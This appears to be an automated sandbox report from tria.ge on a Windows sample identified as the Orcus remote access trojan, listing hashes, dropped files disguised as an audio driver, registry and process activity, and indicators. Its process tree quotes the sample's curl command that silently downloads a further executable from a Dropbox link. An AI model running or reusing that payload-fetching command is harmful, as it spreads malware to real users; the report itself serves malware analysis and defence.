Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
147s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
27/01/2025, 01:01
Behavioral task
behavioral1
Sample
9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe
Resource
win7-20240903-en
General
-
Target
9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe
-
Size
863KB
-
MD5
9f5255673dcaa00aec821823de4f7c68
-
SHA1
939f1351d2ee92aec84860165b139142a1c16519
-
SHA256
9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0
-
SHA512
e63fa29fd0d0ad2cdbee2f153a5bc28699f9e83e8afa1e92734daa225416f07d4ee6621d7cca6ee23d1a7b0689f00c4c5f1cafe16a47dbd2fe1562cea2e15427
-
SSDEEP
24576:HFS04YNEMuExDiU6E5R9s8xY/2l/drtnIbt+rdTe:H34auS+UjfU2TrdIbt+rA
Malware Config
Extracted
orcus
Signatures
-
Orcus family
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation 9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation Script.exe -
Executes dropped EXE 2 IoCs
pid Process 1048 Script.exe 2468 AudioDriver.exe -
Drops desktop.ini file(s) 2 IoCs
description ioc Process File created C:\Windows\assembly\Desktop.ini Script.exe File opened for modification C:\Windows\assembly\Desktop.ini Script.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\assembly Script.exe File created C:\Windows\assembly\Desktop.ini Script.exe File opened for modification C:\Windows\assembly\Desktop.ini Script.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AudioDriver.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Script.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Suspicious behavior: EnumeratesProcesses 36 IoCs
pid Process 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe 2468 AudioDriver.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2468 AudioDriver.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2468 AudioDriver.exe -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 2468 AudioDriver.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 5036 wrote to memory of 1048 5036 9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe 83 PID 5036 wrote to memory of 1048 5036 9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe 83 PID 5036 wrote to memory of 1048 5036 9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe 83 PID 5036 wrote to memory of 4164 5036 9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe 84 PID 5036 wrote to memory of 4164 5036 9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe 84 PID 5036 wrote to memory of 4164 5036 9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe 84 PID 4164 wrote to memory of 2496 4164 cmd.exe 86 PID 4164 wrote to memory of 2496 4164 cmd.exe 86 PID 4164 wrote to memory of 2496 4164 cmd.exe 86 PID 1048 wrote to memory of 2468 1048 Script.exe 87 PID 1048 wrote to memory of 2468 1048 Script.exe 87 PID 1048 wrote to memory of 2468 1048 Script.exe 87
Processes
-
C:\Users\Admin\AppData\Local\Temp\9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe"C:\Users\Admin\AppData\Local\Temp\9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Users\Admin\AppData\Local\Temp\Script.exe"C:\Users\Admin\AppData\Local\Temp\Script.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2468
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\start.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\SysWOW64\curl.execurl -o "C:\Users\Admin\AppData\Local\Temp\launch3r.exe" "https://www.dropbox.com/scl/fi/bkc69a33eypob7thr186c/launch3r.exe?rlkey=xcsytpkk053av68vshskwaewd&st=1hbdu0df&dl=1" --silent --fail3⤵
- System Location Discovery: System Language Discovery
PID:2496
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
839KB
MD598a5ba2b1804e05fd8d361429c538d5e
SHA1ff979f68614cdddf6db17ff574a51153fd6358bd
SHA256502302c8b6270b082df08e81c96bde54a220bd6ae2a8ae3b08100529e2a7a753
SHA512ad7ac8fa9511b973dbf5cd691a6d2ebb265e9eeb8549872751d89e8f8f71ca70a8dcc6e5cfa7b678d6cd9ce61096d5536792eb53244eff08ae0ee8fc91b3a478
-
Filesize
17B
MD50f2ac93b07c396febb0557f67f264c69
SHA1c8291ab5cb1212f5c502cd06eaa8651d8c62f83e
SHA256018d5fc3e4611f8d14809e5f6fadeb737b95e1ee91fb3407065d9c2c354c33ec
SHA51209642eede9c121c8c9eaa5acfeb0e8e6e38daf5b844d43c6623690332ea2358ed245b94f698bbaba54ec108311aae41fae0ef112f6133b78e4facab6035da5d2
-
Filesize
14KB
MD580b6d85f4829619861c1ba75d0165e1a
SHA18fef67ccbb53d901324481cc0f1caf86bdfface8
SHA25663fb361c804641806c87c3d175bad8f9a9ab6f214da7044b4e929ef755f109d3
SHA5127e6e2e95e9eca666a1f5535badd3d80bb5ad9545ef3eb7cf2dc552884edc5f0a84bcdf17066b71c765d18673a55e890b7115a13666f3346242c8996b4f063c22